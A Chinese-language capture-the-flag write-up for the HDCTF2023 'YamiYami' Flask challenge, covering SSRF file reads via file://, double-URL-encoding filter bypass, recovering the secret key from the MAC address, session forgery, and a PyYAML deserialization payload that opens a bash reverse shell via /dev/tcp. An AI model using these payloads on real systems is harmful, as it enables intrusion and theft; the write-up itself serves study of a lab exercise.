本文最后更新于:2023年8月25日 下午
YamiYami 进入题目:
当我们点击 Read somethings
时:
1 http:// node2.anna.nssctf.cn:28523 /read?url=https:/ /baidu.com
我们发现可以读取到百度首页的内容,这是SSRF (突然忘记了)
python中我们可以使用 file伪协议
读取文件内容
我们尝试一下读取 /etc/passwd
成功读取
非预期解:(直接读取环境变量)
如果读取当前进程的环境变量是读取不到的:
Linux-Proc目录的利用
预期解:
我们进去发现了三个路由,但是第一个read路由可以读取指定url的内容,易知这是SSRF
我们点击 pwd,显示 /app
,说明此时文件在/app
目录下面
由于这是python写的题,我们很容易猜到文件名是 app.py
于是我们想要使用file协议去读取 /app/app.py
文件
结果app
被过滤了
这里我们可以将 app
字段两次url编码绕过
获得源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import osimport re, random, uuidfrom flask import *from werkzeug.utils import *import yamlfrom urllib.request import urlopen app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 ) app.debug = False BLACK_LIST=["yaml" ,"YAML" ,"YML" ,"yml" ,"yamiyami" ] app.config['UPLOAD_FOLDER' ]="/app/uploads" @app.route('/' ) def index (): session['passport' ] = 'YamiYami' return ''' Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a> <br> Here is the challenge <a href="/upload">Upload file</a> <br> Enjoy it <a href="/pwd">pwd</a> ''' @app.route('/pwd' ) def pwd (): return str (pwdpath)@app.route('/read' ) def read (): try : url = request.args.get('url' ) m = re.findall('app.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE) if m: return "re.findall('app.*', url, re.IGNORECASE)" if n: return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url) return res.read() except Exception as ex: print (str (ex)) return 'no response' def allowed_file (filename ): for blackstr in BLACK_LIST: if blackstr in filename: return False return True @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : if 'file' not in request.files: flash('No file part' ) return redirect(request.url) file = request.files['file' ] if file.filename == '' : return "Empty file" if file and allowed_file(file.filename): filename = secure_filename(file.filename) if not os.path.exists('./uploads/' ): os.makedirs('./uploads/' ) file.save(os.path.join(app.config['UPLOAD_FOLDER' ], filename)) return "upload successfully!" return render_template("index.html" )@app.route('/boogipop' ) def load (): if session.get("passport" )=="Welcome To HDCTF2023" : LoadedFile=request.args.get("file" ) if not os.path.exists(LoadedFile): return "file not exists" with open (LoadedFile) as f: yaml.full_load(f) f.close() return "van you see" else : return "No Auth bro" if __name__=='__main__' : pwdpath = os.popen("pwd" ).read() app.run( debug=False , host="0.0.0.0" ) print (app.config['SECRET_KEY' ])
我们阅读一下read路由的源码:
1 2 3 4 5 6 7 8 9 url = request.args.get('url' ) m = re.findall('app.*' , url, re.IGNORECASE) n = re.findall('flag' , url, re.IGNORECASE)if m:return "re.findall('app.*', url, re.IGNORECASE)" if n:return "re.findall('flag', url, re.IGNORECASE)" res = urlopen(url)return res.read()
我们发现获得的url会使用 urlopen()
去读取指定url的内容,因此,我们可以url编码两次,第一次浏览器自动解码,然后获得被编码一次的url,这时可以绕过 re.findall()
正则,urlopen()
函数可以解析包含urlencode的网址,这样我们知道为什么可以两次编码绕过了
1 2 random.seed(uuid.getnode()) app.config['SECRET_KEY' ] = str (random.random()*233 )
这一段代码,random.seed()
函数将会指定一个随机数种子,如果是固定值的话,会产生伪随机,每次固定位置的随机数都是一样的
uuid.getnode()
函数用于获取网络接口的MAC地址。如果机器具有多个网络接口,则返回通用管理的MAC地址,而不是通过本地管理的MAC地址返回。管理的MAC地址保证是全局唯一的
uuid.getnode()
可以用来获取网口的mac地址,因此是一个固定值,会生成伪随机,我们需要获取到mac地址
我们可以使用:
1 /sys/ class /net/ eth0/address
获取 eth0 网卡的mac地址
这是16进制的值,于是我们可以使用脚本生成 SECRET_KEY
的值了:
1 2 3 4 5 6 7 import randomimport uuid random.seed(0x0242ac025164 )print (random.random()*233 )
得到key,我们可以使用 session伪造脚本伪造session了
1 2 3 4 5 6 7 8 9 @app.route('/boogipop' ) def load (): if session.get("passport" )=="Welcome To HDCTF2023" : LoadedFile=request.args.get("file" ) if not os.path.exists(LoadedFile): return "file not exists" with open (LoadedFile) as f: yaml.full_load(f) f.close()
这里主要利用 boogipop
路由,yaml反序列化
这个暂时不太会,直接放payload:
1 2 3 4 5 6 7 8 9 !!python/object /new:str args: [] state: !!python/tuple - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')" - !!python/object /new:staticmethod args: [] state: update: !!python/name:eval items: !!python/name:list
我们将IP、port改为自己的,然后在服务器开启监听,上传这个文件,然后利用boogipop路由即可:
注意改一下session
在 /proc/1/environ
发现flag